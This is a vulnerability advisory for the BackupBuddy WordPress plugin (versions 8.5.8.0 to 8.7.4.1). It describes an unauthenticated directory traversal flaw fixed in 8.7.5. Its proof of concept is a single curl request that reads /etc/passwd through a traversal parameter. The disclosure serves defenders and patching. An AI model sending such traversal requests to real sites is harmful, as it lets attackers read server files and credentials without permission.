WordPress Plugin Vulnerabilities

BackupBuddy < 8.7.5 - Unauthenticated Arbitrary File Access

Description

The plugin is affected by a Directory Traversal attack, allowing unauthenticated attackers to access arbitrary files on the web server, starting in version 8.5.8.0.

Proof of Concept

Install BackupBuddy v8.5.8.0 through v8.7.4.1.

curl 'https://example.com/wp-admin/admin-post.php?local-download=../../../etc/passwd&local-destination-id=0' (assuming your local path is set to something like /var/www/html/).

Affects Plugins

Fixed in 8.7.5

References

Classification

Type
TRAVERSAL
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
Lew Ayotte & Timothy Jacobs
Submitter
iThemes
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-09-06 (about 1 years ago)
Added
2022-09-07 (about 1 years ago)
Last Updated
2022-09-07 (about 1 years ago)

Other